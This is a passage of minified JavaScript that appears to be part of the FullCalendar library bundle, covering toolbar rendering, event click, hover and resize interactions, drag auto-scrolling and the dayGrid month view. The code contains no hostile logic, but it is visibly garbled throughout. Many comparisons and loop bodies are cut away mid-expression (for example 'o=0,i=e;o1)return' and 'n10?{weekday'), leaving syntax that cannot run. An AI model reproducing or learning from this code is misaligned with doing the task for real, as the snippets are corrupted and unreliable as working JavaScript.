n=We(t.getCurrentData().eventSources),r=[],o=0,i=e;o1)return{year:"numeric",month:"short",day:"numeric"};return{year:"numeric",month:"long",day:"numeric"}}(e)),{isEndExclusive:e.isRangeAllDay,defaultSeparator:t.titleRangeSeparator})}var Jo=function(){function e(e){var t=this;this.computeOptionsData=st(this._computeOptionsData),this.computeCurrentViewData=st(this._computeCurrentViewData),this.organizeRawLocales=st(er),this.buildLocale=st(tr),this.buildPluginHooks=uo(),this.buildDateEnv=st($o),this.buildTheme=st(Qo),this.parseToolbars=st(Vo),this.buildViewSpecs=st(wo),this.buildDateProfileGenerator=lt(ei),this.buildViewApi=st(ti),this.buildViewUiProps=lt(oi),this.buildEventUiBySource=st(ni,Ve),this.buildEventUiBases=st(ri),this.parseContextBusinessHours=lt(ai),this.buildTitle=st(Ko),this.emitter=new xr,this.actionRunner=new Xo(this._handleAction.bind(this),this.updateData.bind(this)),this.currentCalendarOptionsInput={},this.currentCalendarOptionsRefined={},this.currentViewOptionsInput={},this.currentViewOptionsRefined={},this.currentCalendarOptionsRefiners={},this.getCurrentData=function(){return t.data},this.dispatch=function(e){t.actionRunner.request(e)},this.props=e,this.actionRunner.pause();var n={},o=this.computeOptionsData(e.optionOverrides,n,e.calendarApi),i=o.calendarOptions.initialView||o.pluginHooks.initialView,a=this.computeCurrentViewData(i,o,e.optionOverrides,n);e.calendarApi.currentDataManager=this,this.emitter.setThisContext(e.calendarApi),this.emitter.setOptions(a.options);var s,l,u,c=(s=o.calendarOptions,l=o.dateEnv,null!=(u=s.initialDate)?l.createMarker(u):Fn(s.now,l)),d=a.dateProfileGenerator.build(c);un(d.activeRange,c)||(c=d.currentRange.start);for(var p={dateEnv:o.dateEnv,options:o.calendarOptions,pluginHooks:o.pluginHooks,calendarApi:e.calendarApi,dispatch:this.dispatch,emitter:this.emitter,getCurrentData:this.getCurrentData},f=0,h=o.pluginHooks.contextInit;f1){var m=a&&n.getClass("buttonGroup")||"";return Ar.apply(void 0,o(["div",{className:m}],i))}return i[0]},t}(Yr),Ei=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n(t,e),t.prototype.render=function(){var e,t,n=this.props,r=n.model,o=n.extraClassName,i=!1,a=r.center;return r.left?(i=!0,e=r.left):e=r.start,r.right?(i=!0,t=r.right):t=r.end,Ar("div",{className:[o||"","fc-toolbar",i?"fc-toolbar-ltr":""].join(" ")},this.renderSection("start",e||[]),this.renderSection("center",a||[]),this.renderSection("end",t||[]))},t.prototype.renderSection=function(e,t){var n=this.props;return Ar(yi,{key:e,widgetGroups:t,title:n.title,activeButton:n.activeButton,isTodayEnabled:n.isTodayEnabled,isPrevEnabled:n.isPrevEnabled,isNextEnabled:n.isNextEnabled})},t}(Yr),Si=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.state={availableWidth:null},t.handleEl=function(e){t.el=e,Kr(t.props.elRef,e),t.updateAvailableWidth()},t.handleResize=function(){t.updateAvailableWidth()},t}return n(t,e),t.prototype.render=function(){var e=this.props,t=this.state,n=e.aspectRatio,r=["fc-view-harness",n||e.liquid||e.height?"fc-view-harness-active":"fc-view-harness-passive"],o="",i="";return n?null!==t.availableWidth?o=t.availableWidth/n:i=1/n*100+"%":o=e.height||"",Ar("div",{ref:this.handleEl,onClick:e.onClick,className:r.join(" "),style:{height:o,paddingBottom:i}},e.children)},t.prototype.componentDidMount=function(){this.context.addResizeHandler(this.handleResize)},t.prototype.componentWillUnmount=function(){this.context.removeResizeHandler(this.handleResize)},t.prototype.updateAvailableWidth=function(){this.el&&this.props.aspectRatio&&this.setState({availableWidth:this.el.offsetWidth})},t}(Yr),Di=function(e){function t(t){var n=e.call(this,t)||this;return n.handleSegClick=function(e,t){var r=n.component,o=r.context,i=fn(t);if(i&&r.isValidSegDownEl(e.target)){var a=z(e.target,".fc-event-forced-url"),s=a?a.querySelector("a[href]").href:"";o.emitter.trigger("eventClick",{el:t,event:new Bn(r.context,i.eventRange.def,i.eventRange.instance),jsEvent:e,view:o.viewApi}),s&&!e.defaultPrevented&&(window.location.href=s)}},n.destroy=K(t.el,"click",".fc-event",n.handleSegClick),n}return n(t,e),t}(ci),bi=function(e){function t(t){var n,r,o,i,a,s=e.call(this,t)||this;return s.handleEventElRemove=function(e){e===s.currentSegEl&&s.handleSegLeave(null,s.currentSegEl)},s.handleSegEnter=function(e,t){fn(t)&&(s.currentSegEl=t,s.triggerEvent("eventMouseEnter",e,t))},s.handleSegLeave=function(e,t){s.currentSegEl&&(s.currentSegEl=null,s.triggerEvent("eventMouseLeave",e,t))},s.removeHoverListeners=(n=t.el,r=".fc-event",o=s.handleSegEnter,i=s.handleSegLeave,K(n,"mouseover",r,(function(e,t){if(t!==a){a=t,o(e,t);var n=function(e){a=null,i(e,t),t.removeEventListener("mouseleave",n)};t.addEventListener("mouseleave",n)}}))),s}return n(t,e),t.prototype.destroy=function(){this.removeHoverListeners()},t.prototype.triggerEvent=function(e,t,n){var r=this.component,o=r.context,i=fn(n);t&&!r.isValidSegDownEl(t.target)||o.emitter.trigger(e,{el:n,event:new Bn(o,i.eventRange.def,i.eventRange.instance),jsEvent:t,view:o.viewApi})},t}(ci),Ci=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.buildViewContext=st(Gr),t.buildViewPropTransformers=st(Ri),t.buildToolbarProps=st(wi),t.handleNavLinkClick=X("a[data-navlink]",t._handleNavLinkClick.bind(t)),t.headerRef=Lr(),t.footerRef=Lr(),t.interactionsStore={},t.registerInteractiveComponent=function(e,n){var r=di(e,n),o=[Di,bi].concat(t.props.pluginHooks.componentInteractions).map((function(e){return new e(r)}));t.interactionsStore[e.uid]=o,fi[e.uid]=r},t.unregisterInteractiveComponent=function(e){for(var n=0,r=t.interactionsStore[e.uid];n10?{weekday:"short"}:t>1?{weekday:"short",month:"numeric",day:"numeric",omitCommas:!0}:{weekday:"long"})}var Mi="fc-col-header-cell";function xi(e){return e.text}var _i=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n(t,e),t.prototype.render=function(){var e=this.context,t=e.dateEnv,n=e.options,o=e.theme,i=e.viewApi,a=this.props,s=a.date,l=a.dateProfile,u=gr(s,a.todayRange,null,l),c=[Mi].concat(mr(u,o)),d=t.format(s,a.dayHeaderFormat),p=n.navLinks&&!u.isDisabled&&a.colCnt>1?{"data-navlink":yr(s),tabIndex:0}:{},f=r(r(r({date:t.toDate(s),view:i},a.extraHookProps),{text:d}),u);return Ar(fo,{hookProps:f,classNames:n.dayHeaderClassNames,content:n.dayHeaderContent,defaultContent:xi,didMount:n.dayHeaderDidMount,willUnmount:n.dayHeaderWillUnmount},(function(e,t,n,o){return Ar("th",r({ref:e,className:c.concat(t).join(" "),"data-date":u.isDisabled?void 0:rt(s),colSpan:a.colSpan},a.extraDataAttrs),Ar("div",{className:"fc-scrollgrid-sync-inner"},!u.isDisabled&&Ar("a",r({ref:n,className:["fc-col-header-cell-cushion",a.isSticky?"fc-sticky":""].join(" ")},p),o)))}))},t}(Yr),Ii=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n(t,e),t.prototype.render=function(){var e=this.props,t=this.context,n=t.dateEnv,o=t.theme,i=t.viewApi,a=t.options,s=me(new Date(2592e5),e.dow),l={dow:e.dow,isDisabled:!1,isFuture:!1,isPast:!1,isToday:!1,isOther:!1},u=[Mi].concat(mr(l,o),e.extraClassNames||[]),c=n.format(s,e.dayHeaderFormat),d=r(r(r(r({date:s},l),{view:i}),e.extraHookProps),{text:c});return Ar(fo,{hookProps:d,classNames:a.dayHeaderClassNames,content:a.dayHeaderContent,defaultContent:xi,didMount:a.dayHeaderDidMount,willUnmount:a.dayHeaderWillUnmount},(function(t,n,o,i){return Ar("th",r({ref:t,className:u.concat(n).join(" "),colSpan:e.colSpan},e.extraDataAttrs),Ar("div",{className:"fc-scrollgrid-sync-inner"},Ar("a",{className:["fc-col-header-cell-cushion",e.isSticky?"fc-sticky":""].join(" "),ref:o},i)))}))},t}(Yr),Pi=function(e){function t(t,n){var r=e.call(this,t,n)||this;return r.initialNowDate=Fn(n.options.now,n.dateEnv),r.initialNowQueriedMs=(new Date).valueOf(),r.state=r.computeTiming().currentState,r}return n(t,e),t.prototype.render=function(){var e=this.props,t=this.state;return e.children(t.nowDate,t.todayRange)},t.prototype.componentDidMount=function(){this.setTimeout()},t.prototype.componentDidUpdate=function(e){e.unit!==this.props.unit&&(this.clearTimeout(),this.setTimeout())},t.prototype.componentWillUnmount=function(){this.clearTimeout()},t.prototype.computeTiming=function(){var e=this.props,t=this.context,n=ye(this.initialNowDate,(new Date).valueOf()-this.initialNowQueriedMs),r=t.dateEnv.startOf(n,e.unit),o=t.dateEnv.add(r,Xe(1,e.unit)),i=o.valueOf()-n.valueOf();return i=Math.min(864e5,i),{currentState:{nowDate:r,todayRange:Ni(r)},nextState:{nowDate:o,todayRange:Ni(o)},waitMs:i}},t.prototype.setTimeout=function(){var e=this,t=this.computeTiming(),n=t.nextState,r=t.waitMs;this.timeoutId=setTimeout((function(){e.setState(n,(function(){e.setTimeout()}))}),r)},t.prototype.clearTimeout=function(){this.timeoutId&&clearTimeout(this.timeoutId)},t.contextType=jr,t}(Or);function Ni(e){var t=we(e);return{start:t,end:me(t,1)}}var Hi=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.createDayHeaderFormatter=st(Oi),t}return n(t,e),t.prototype.render=function(){var e=this.context,t=this.props,n=t.dates,r=t.dateProfile,o=t.datesRepDistinctDays,i=t.renderIntro,a=this.createDayHeaderFormatter(e.options.dayHeaderFormat,o,n.length);return Ar(Pi,{unit:"day"},(function(e,t){return Ar("tr",null,i&&i("day"),n.map((function(e){return o?Ar(_i,{key:e.toISOString(),date:e,dateProfile:r,todayRange:t,colCnt:n.length,dayHeaderFormat:a}):Ar(Ii,{key:e.getUTCDay(),dow:e.getUTCDay(),dayHeaderFormat:a})})))}))},t}(Yr);function Oi(e,t,n){return e||ki(t,n)}var Ai=function(){function e(e,t){for(var n=e.start,r=e.end,o=[],i=[],a=-1;n=t.length?t[t.length-1]+1:t[n]},e}(),Ui=function(){function e(e,t){var n,r,o,i=e.dates;if(t){for(r=i[0].getUTCDay(),n=1;nt)return!0}return!1},t.prototype.needsYScrolling=function(){if(Vi.test(this.props.overflowY))return!1;for(var e=this.el,t=this.el.getBoundingClientRect().height-this.getXScrollbarWidth(),n=e.children,r=0;rt)return!0}return!1},t.prototype.getXScrollbarWidth=function(){return Vi.test(this.props.overflowX)?0:this.el.offsetHeight-this.el.clientHeight},t.prototype.getYScrollbarWidth=function(){return Vi.test(this.props.overflowY)?0:this.el.offsetWidth-this.el.clientWidth},t}(Yr),zi=function(){function e(e){var t=this;this.masterCallback=e,this.currentMap={},this.depths={},this.callbackMap={},this.handleValue=function(e,n){var r=t,o=r.depths,i=r.currentMap,a=!1,s=!1;null!==e?(a=n in i,i[n]=e,o[n]=(o[n]||0)+1,s=!0):(o[n]-=1,o[n]||(delete i[n],delete t.callbackMap[n],a=!0)),t.masterCallback&&(a&&t.masterCallback(null,String(n)),s&&t.masterCallback(e,String(n)))}}return e.prototype.createRef=function(e){var t=this,n=this.callbackMap[e];return n||(n=this.callbackMap[e]=function(n){t.handleValue(n,String(e))}),n},e.prototype.collect=function(e,t,n){return je(this.currentMap,e,t,n)},e.prototype.getAll=function(){return We(this.currentMap)},e}();function Bi(e){for(var t=0,n=0,r=j(e,".fc-scrollgrid-shrink");n0&&(this.everMovedDown=!0),i<0?this.everMovedLeft=!0:i>0&&(this.everMovedRight=!0),this.pointerScreenX=n,this.pointerScreenY=r,this.isAnimating||(this.isAnimating=!0,this.requestAnimation(Ta()))}},e.prototype.stop=function(){if(this.isEnabled){this.isAnimating=!1;for(var e=0,t=this.scrollCaches;e=0&&u>=0&&c>=0&&d>=0&&(c<=n&&this.everMovedUp&&a.canScrollUp()&&(!r||r.distance>c)&&(r={scrollCache:a,name:"top",distance:c}),d<=n&&this.everMovedDown&&a.canScrollDown()&&(!r||r.distance>d)&&(r={scrollCache:a,name:"bottom",distance:d}),l<=n&&this.everMovedLeft&&a.canScrollLeft()&&(!r||r.distance>l)&&(r={scrollCache:a,name:"left",distance:l}),u<=n&&this.everMovedRight&&a.canScrollRight()&&(!r||r.distance>u)&&(r={scrollCache:a,name:"right",distance:u}))}return r},e.prototype.buildCaches=function(){return this.queryScrollEls().map((function(e){return e===window?new Ra(!1):new wa(e,!1)}))},e.prototype.queryScrollEls=function(){for(var e=[],t=0,n=this.scrollQuery;t=t*t&&r.handleDistanceSurpassed(e)}r.isDragging&&("scroll"!==e.origEvent.type&&(r.mirror.handleMove(e.pageX,e.pageY),r.autoScroller.handleMove(e.pageX,e.pageY)),r.emitter.trigger("dragmove",e))}},r.onPointerUp=function(e){r.isInteracting&&(r.isInteracting=!1,oe(document.body),ae(document.body),r.emitter.trigger("pointerup",e),r.isDragging&&(r.autoScroller.stop(),r.tryStopDrag(e)),r.delayTimeoutId&&(clearTimeout(r.delayTimeoutId),r.delayTimeoutId=null))};var o=r.pointer=new Sa(t);return o.emitter.on("pointerdown",r.onPointerDown),o.emitter.on("pointermove",r.onPointerMove),o.emitter.on("pointerup",r.onPointerUp),n&&(o.selector=n),r.mirror=new ba,r.autoScroller=new ka,r}return n(t,e),t.prototype.destroy=function(){this.pointer.destroy(),this.onPointerUp({})},t.prototype.startDelay=function(e){var t=this;"number"==typeof this.delay?this.delayTimeoutId=setTimeout((function(){t.delayTimeoutId=null,t.handleDelayEnd(e)}),this.delay):this.handleDelayEnd(e)},t.prototype.handleDelayEnd=function(e){this.isDelayEnded=!0,this.tryStartDrag(e)},t.prototype.handleDistanceSurpassed=function(e){this.isDistanceSurpassed=!0,this.tryStartDrag(e)},t.prototype.tryStartDrag=function(e){this.isDelayEnded&&this.isDistanceSurpassed&&(this.pointer.wasTouchScroll&&!this.touchScrollAllowed||(this.isDragging=!0,this.mirrorNeedsRevert=!1,this.autoScroller.start(e.pageX,e.pageY),this.emitter.trigger("dragstart",e),!1===this.touchScrollAllowed&&this.pointer.cancelTouchScroll()))},t.prototype.tryStopDrag=function(e){this.mirror.stop(this.mirrorNeedsRevert,this.stopDrag.bind(this,e))},t.prototype.stopDrag=function(e){this.isDragging=!1,this.emitter.trigger("dragend",e)},t.prototype.setIgnoreMove=function(e){this.pointer.shouldIgnoreMove=e},t.prototype.setMirrorIsVisible=function(e){this.mirror.setIsVisible(e)},t.prototype.setMirrorNeedsRevert=function(e){this.mirrorNeedsRevert=e},t.prototype.setAutoScrollEnabled=function(e){this.autoScroller.isEnabled=e},t}(hi),xa=function(){function e(e){this.origRect=Tr(e),this.scrollCaches=kr(e).map((function(e){return new wa(e,!0)}))}return e.prototype.destroy=function(){for(var e=0,t=this.scrollCaches;e=0&&c=0&&do.layer)&&(v.rect.left+=l,v.rect.right+=l,v.rect.top+=u,v.rect.bottom+=u,o=v)}}}return o},e}();function Ia(e,t){return!e&&!t||Boolean(e)===Boolean(t)&&kn(e.dateSpan,t.dateSpan)}function Pa(e,t){for(var n,o,i={},a=0,s=t.pluginHooks.datePointTransforms;ao.start)return c.endDelta=u,c;return null}(s,e,o.subjectEl.classList.contains("fc-event-resizer-start"),l.range,i.pluginHooks.eventResizeJoinTransforms)),u&&(c=Hn(a,i.getCurrentData().eventUiBases,u,i),p.mutatedEvents=c,n.component.isInteractionValid(p)||(d=!0,u=null,c=null,p.mutatedEvents=null)),c?i.dispatch({type:"SET_EVENT_RESIZE",state:p}):i.dispatch({type:"UNSET_EVENT_RESIZE"}),d?te():ne(),t||(u&&Ia(s,e)&&(u=null),n.validMutation=u,n.mutatedRelevantEvents=c)},n.handleDragEnd=function(e){var t=n.component.context,o=n.eventRange.def,i=n.eventRange.instance,a=new Bn(t,o,i),s=n.relevantEvents,l=n.mutatedRelevantEvents;if(t.emitter.trigger("eventResizeStop",{el:n.draggingSegEl,event:a,jsEvent:e.origEvent,view:t.viewApi}),n.validMutation){var u=new Bn(t,l.defs[o.defId],i?l.instances[i.instanceId]:null);t.dispatch({type:"MERGE_EVENTS",eventStore:l});var c={oldEvent:a,event:u,relatedEvents:Gn(l,t,i),revert:function(){t.dispatch({type:"MERGE_EVENTS",eventStore:s})}};t.emitter.trigger("eventResize",r(r({},c),{el:n.draggingSegEl,startDelta:n.validMutation.startDelta||Xe(0),endDelta:n.validMutation.endDelta||Xe(0),jsEvent:e.origEvent,view:t.viewApi})),t.emitter.trigger("eventChange",c)}else t.emitter.trigger("_noEventResize");n.draggingSeg=null,n.relevantEvents=null,n.validMutation=null};var o=t.component,i=n.dragging=new Ma(t.el);i.pointer.selector=".fc-event-resizer",i.touchScrollAllowed=!1,i.autoScroller.isEnabled=o.context.options.dragScroll;var a=n.hitDragging=new _a(n.dragging,pi(t));return a.emitter.on("pointerdown",n.handlePointerDown),a.emitter.on("dragstart",n.handleDragStart),a.emitter.on("hitupdate",n.handleHitUpdate),a.emitter.on("dragend",n.handleDragEnd),n}return n(t,e),t.prototype.destroy=function(){this.dragging.destroy()},t.prototype.querySegEl=function(e){return z(e.subjectEl,".fc-event")},t}(ci);var Ua=function(){function e(e){var t=this;this.context=e,this.isRecentPointerDateSelect=!1,this.matchesCancel=!1,this.matchesEvent=!1,this.onSelect=function(e){e.jsEvent&&(t.isRecentPointerDateSelect=!0)},this.onDocumentPointerDown=function(e){var n=t.context.options.unselectCancel,r=e.origEvent.target;t.matchesCancel=!!z(r,n),t.matchesEvent=!!z(r,Oa.SELECTOR)},this.onDocumentPointerUp=function(e){var n=t.context,r=t.documentPointer,o=n.getCurrentData();if(!r.wasTouchScroll){if(o.dateSelection&&!t.isRecentPointerDateSelect){var i=n.options.unselectAuto;!i||i&&t.matchesCancel||n.calendarApi.unselect(e)}o.eventSelection&&!t.matchesEvent&&n.dispatch({type:"UNSELECT_EVENT"})}t.isRecentPointerDateSelect=!1};var n=this.documentPointer=new Sa(document);n.shouldIgnoreMove=!0,n.shouldWatchScroll=!1,n.emitter.on("pointerdown",this.onDocumentPointerDown),n.emitter.on("pointerup",this.onDocumentPointerUp),e.emitter.on("select",this.onSelect)}return e.prototype.destroy=function(){this.context.emitter.off("select",this.onSelect),this.documentPointer.destroy()},e}(),La={fixedMirrorParent:Pt},Wa={dateClick:Pt,eventDragStart:Pt,eventDragStop:Pt,eventDrop:Pt,eventResizeStart:Pt,eventResizeStop:Pt,eventResize:Pt,drop:Pt,eventReceive:Pt,eventLeave:Pt},Va=function(){function e(e,t){var n=this;this.receivingContext=null,this.droppableEvent=null,this.suppliedDragMeta=null,this.dragMeta=null,this.handleDragStart=function(e){n.dragMeta=n.buildDragMeta(e.subjectEl)},this.handleHitUpdate=function(e,t,o){var i=n.hitDragging.dragging,a=null,s=null,l=!1,u={affectedEvents:{defs:{},instances:{}},mutatedEvents:{defs:{},instances:{}},isEvent:n.dragMeta.create};e&&(a=e.component.context,n.canDropElOnCalendar(o.subjectEl,a)&&(s=function(e,t,n){for(var o=r({},t.leftoverProps),i=0,a=n.pluginHooks.externalDefTransforms;ia.top)return!1}return!0}(e,t,n)){for(var r=e.firstCol;r<=e.lastCol;r+=1){for(var o=u[r],i=0;i=o[i].top;)i+=1;o.splice(i,0,{seg:e,top:n,bottom:n+t})}return!0}return!1}for(var M in i)i[M]||(d[M.split(":")[0]]=!0);return{segsByFirstCol:u.map(as),segsByEachCol:u.map((function(t,n){var o=function(e){for(var t=[],n=0,r=e;n=o[i].top;)i+=1;o.splice(i,0,e)}}}function h(n,r,o){var i=n.seg,a=i.eventRange.instance.instanceId;if(!t[a]){t[a]=!0;for(var l=i.firstCol;l<=i.lastCol;l+=1){e[l]+=1;var u=e[l];if(o&&1===u&&r>0)for(var c=r-1;s[l].length>c;)h(s[l].pop(),s[l].length,!1)}}}}var ls=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.cellElRefs=new zi,t.frameElRefs=new zi,t.fgElRefs=new zi,t.segHarnessRefs=new zi,t.rootElRef=Lr(),t.state={framePositions:null,maxContentHeight:null,segHeights:{}},t}return n(t,e),t.prototype.render=function(){var e=this,t=this.props,n=this.state,o=this.context,i=t.cells.length,a=Ya(t.businessHourSegs,i),s=Ya(t.bgEventSegs,i),l=Ya(this.getHighlightSegs(),i),u=Ya(this.getMirrorSegs(),i),c=is(t.cells,t.fgEventSegs,t.dayMaxEvents,t.dayMaxEventRows,n.segHeights,n.maxContentHeight,i,o.options.eventOrder),d=c.paddingBottoms,p=c.segsByFirstCol,f=c.segsByEachCol,h=c.segIsHidden,v=c.segTops,g=c.segMarginTops,m=c.moreCnts,y=c.moreTops,E=t.eventDrag&&t.eventDrag.affectedInstances||t.eventResize&&t.eventResize.affectedInstances||{};return Ar("tr",{ref:this.rootElRef},t.renderIntro&&t.renderIntro(),t.cells.map((function(n,o){var i=e.renderFgSegs(p[o],h,v,g,E,t.todayRange),c=e.renderFgSegs(u[o],{},v,{},{},t.todayRange,Boolean(t.eventDrag),Boolean(t.eventResize),!1);return Ar($a,{key:n.key,elRef:e.cellElRefs.createRef(n.key),innerElRef:e.frameElRefs.createRef(n.key),dateProfile:t.dateProfile,date:n.date,showDayNumber:t.showDayNumbers,showWeekNumber:t.showWeekNumbers&&0===o,forceDayTop:t.showWeekNumbers,todayRange:t.todayRange,extraHookProps:n.extraHookProps,extraDataAttrs:n.extraDataAttrs,extraClassNames:n.extraClassNames,moreCnt:m[o],buildMoreLinkText:t.buildMoreLinkText,onMoreClick:function(e){t.onMoreClick(r(r({},e),{fromCol:o}))},segIsHidden:h,moreMarginTop:y[o],segsByEachCol:f[o],fgPaddingBottom:d[o],fgContentElRef:e.fgElRefs.createRef(n.key),fgContent:Ar(Wr,null,Ar(Wr,null,i),Ar(Wr,null,c)),bgContent:Ar(Wr,null,e.renderFillSegs(l[o],"highlight"),e.renderFillSegs(a[o],"non-business"),e.renderFillSegs(s[o],"bg-event"))})})))},t.prototype.componentDidMount=function(){this.updateSizing(!0)},t.prototype.componentDidUpdate=function(e,t){var n=this.props;this.updateSizing(!Ve(e,n))},t.prototype.getHighlightSegs=function(){var e=this.props;return e.eventDrag&&e.eventDrag.segs.length?e.eventDrag.segs:e.eventResize&&e.eventResize.segs.length?e.eventResize.segs:e.dateSelectionSegs},t.prototype.getMirrorSegs=function(){var e=this.props;return e.eventResize&&e.eventResize.segs.length?e.eventResize.segs:[]},t.prototype.renderFgSegs=function(e,t,n,o,i,a,s,l,u){var c=this.context,d=this.props.eventSelection,p=this.state.framePositions,f=1===this.props.cells.length,h=[];if(p)for(var v=0,g=e;v=0&&l=0&&u1,showWeekNumbers:t.showWeekNumbers,todayRange:m,dateProfile:n,cells:a,renderIntro:t.renderRowIntro,businessHourSegs:u[s],eventSelection:t.eventSelection,bgEventSegs:c[s].filter(fs),fgEventSegs:d[s],dateSelectionSegs:p[s],eventDrag:f[s],eventResize:h[s],dayMaxEvents:i,dayMaxEventRows:o,clientWidth:t.clientWidth,clientHeight:t.clientHeight,buildMoreLinkText:v,onMoreClick:function(t){e.handleMoreLinkClick(r(r({},t),{fromRow:s}))}})})))),!t.forPrint&&s&&s.currentFgEventSegs===t.fgEventSegs&&Ar(cs,{ref:e.morePopoverRef,date:s.date,dateProfile:n,segs:s.allSegs,alignmentEl:s.dayEl,topAlignmentEl:1===l?t.headerAlignElRef.current:null,onCloseClick:e.handleMorePopoverClose,selectedInstanceId:t.eventSelection,hiddenInstances:(t.eventDrag?t.eventDrag.affectedInstances:null)||(t.eventResize?t.eventResize.affectedInstances:null)||{},todayRange:m}))})))},t.prototype.prepareHits=function(){this.rowPositions=new _r(this.rootEl,this.rowRefs.collect().map((function(e){return e.getCellEls()[0]})),!1,!0),this.colPositions=new _r(this.rootEl,this.rowRefs.currentMap[0].getCellEls(),!0,!1)},t.prototype.positionToHit=function(e,t){var n=this.morePopoverRef.current,o=n?n.positionToHit(e,t,this.rootEl):null,i=this.state.morePopoverState;if(o)return r({row:i.fromRow,col:i.fromCol},o);var a=this.colPositions,s=this.rowPositions,l=a.leftToIndex(e),u=s.topToIndex(t);return null!=u&&null!=l?{row:u,col:l,dateSpan:{range:this.getCellRange(u,l),allDay:!0},dayEl:this.getCellEl(u,l),relativeRect:{left:a.lefts[l],right:a.rights[l],top:s.tops[u],bottom:s.bottoms[u]}}:null},t.prototype.getCellEl=function(e,t){return this.rowRefs.currentMap[e].getCellEls()[t]},t.prototype.getCellRange=function(e,t){var n=this.props.cells[e][t].date;return{start:n,end:me(n,1)}},t}(so);function ps(e){return"function"==typeof e?e:function(t){return"+"+t+" "+e}}function fs(e){return e.eventRange.def.allDay}var hs=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.forceDayIfListItem=!0,t}return n(t,e),t.prototype.sliceRange=function(e,t){return t.sliceRange(e)},t}(Li),vs=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.slicer=new hs,t.tableRef=Lr(),t.handleRootEl=function(e){e?t.context.registerInteractiveComponent(t,{el:e}):t.context.unregisterInteractiveComponent(t)},t}return n(t,e),t.prototype.render=function(){var e=this.props,t=this.context;return Ar(ds,r({ref:this.tableRef,elRef:this.handleRootEl},this.slicer.sliceProps(e,e.dateProfile,e.nextDayThreshold,t,e.dayTableModel),{dateProfile:e.dateProfile,cells:e.dayTableModel.cells,colGroupNode:e.colGroupNode,tableMinWidth:e.tableMinWidth,renderRowIntro:e.renderRowIntro,dayMaxEvents:e.dayMaxEvents,dayMaxEventRows:e.dayMaxEventRows,showWeekNumbers:e.showWeekNumbers,expandRows:e.expandRows,headerAlignElRef:e.headerAlignElRef,clientWidth:e.clientWidth,clientHeight:e.clientHeight,forPrint:e.forPrint}))},t.prototype.prepareHits=function(){this.tableRef.current.prepareHits()},t.prototype.queryHit=function(e,t){var n=this.tableRef.current.positionToHit(e,t);return n?{component:this,dateSpan:n.dateSpan,dayEl:n.dayEl,rect:{left:n.relativeRect.left,right:n.relativeRect.right,top:n.relativeRect.top,bottom:n.relativeRect.bottom},layer:0}:null},t}(so),gs=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.buildDayTableModel=st(ms),t.headerRef=Lr(),t.tableRef=Lr(),t}return n(t,e),t.prototype.render=function(){var e=this,t=this.context,n=t.options,r=t.dateProfileGenerator,o=this.props,i=this.buildDayTableModel(o.dateProfile,r),a=n.dayHeaders&&Ar(Hi,{ref:this.headerRef,dateProfile:o.dateProfile,dates:i.headerDates,datesRepDistinctDays:1===i.rowCnt}),s=function(t){return Ar(vs,{ref:e.tableRef,dateProfile:o.dateProfile,dayTableModel:i,businessHours:o.businessHours,dateSelection:o.dateSelection,eventStore:o.eventStore,eventUiBases:o.eventUiBases,eventSelection:o.eventSelection,eventDrag:o.eventDrag,eventResize:o.eventResize,nextDayThreshold:n.nextDayThreshold,colGroupNode:t.tableColGroupNode,tableMinWidth:t.tableMinWidth,dayMaxEvents:n.dayMaxEvents,dayMaxEventRows:n.dayMaxEventRows,showWeekNumbers:n.weekNumbers,expandRows:!o.isHeightAuto,headerAlignElRef:e.headerElRef,clientWidth:t.clientWidth,clientHeight:t.clientHeight,forPrint:o.forPrint})};return n.dayMinWidth?this.renderHScrollLayout(a,s,i.colCnt,n.dayMinWidth):this.renderSimpleLayout(a,s)},t}(Ga);function ms(e,t){var n=new Ai(e.renderRange,t);return new Ui(n,/year|month|week/.test(e.currentRangeUnit))}var ys=lo({initialView:"dayGridMonth",optionRefiners:{moreLinkClick:Pt,moreLinkClassNames:Pt,moreLinkContent:Pt,moreLinkDidMount:Pt,moreLinkWillUnmount:Pt},views:{dayGrid:{component:gs,dateProfileGeneratorClass:function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n(t,e),t.prototype.buildRenderRange=function(t,n,r){var o,i=this.props.dateEnv,a=e.prototype.buildRenderRange.call(this,t,n,r),s=a.start,l=a.end;(/^(year|month)$/.test(n)&&(s=i.startOfWeek(s),(o=i.startOfWeek(l)).valueOf()!==l.valueOf()&&(l=ge(o,1))),this.props.monthMode&&this.props.fixedWeekCount)&&(l=ge(l,6-Math.ceil(Ee(s,l))));return{start:s,end:l}},t}(To)},dayGridDay:{type:"dayGrid",duration:{days:1}},dayGridWeek:{type:"dayGrid",duration:{weeks:1}},dayGridMonth:{type:"dayGrid",duration:{months:1},monthMode:!0,fixedWeekCount:!0}}}),Es=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n(t,e),t.prototype.getKeyInfo=function(){return{allDay:{},timed:{}}},t.prototype.getKeysForDateSpan=function(e){return e.allDay?["allDay"]:["timed"]},t.prototype.getKeysForEventDef=function(e){return e.allDay?dn(e)?["timed","allDay"]:["allDay"]:["timed"]},t}(hr),Ss=bt({hour:"numeric",minute:"2-digit",omitZeroMinute:!0,meridiem:"short"});function Ds(e){var t=["fc-timegrid-slot","fc-timegrid-slot-label",e.isLabeled?"fc-scrollgrid-shrink":"fc-timegrid-slot-minor"];return Ar(jr.Consumer,null,(function(n){if(!e.isLabeled)return Ar("td",{className:t.join(" "),"data-time":e.isoTimeStr});var r=n.dateEnv,o=n.options,i=n.viewApi,a=null==o.slotLabelFormat?Ss:Array.isArray(o.slotLabelFormat)?bt(o.slotLabelFormat[0]):bt(o.slotLabelFormat),s={level:0,time:e.time,date:r.toDate(e.date),view:i,text:r.format(e.date,a)};return Ar(fo,{hookProps:s,classNames:o.slotLabelClassNames,content:o.slotLabelContent,defaultContent:bs,didMount:o.slotLabelDidMount,willUnmount:o.slotLabelWillUnmount},(function(n,r,o,i){return Ar("td",{ref:n,className:t.concat(r).join(" "),"data-time":e.isoTimeStr},Ar("div",{className:"fc-timegrid-slot-label-frame fc-scrollgrid-shrink-frame"},Ar("div",{className:"fc-timegrid-slot-label-cushion 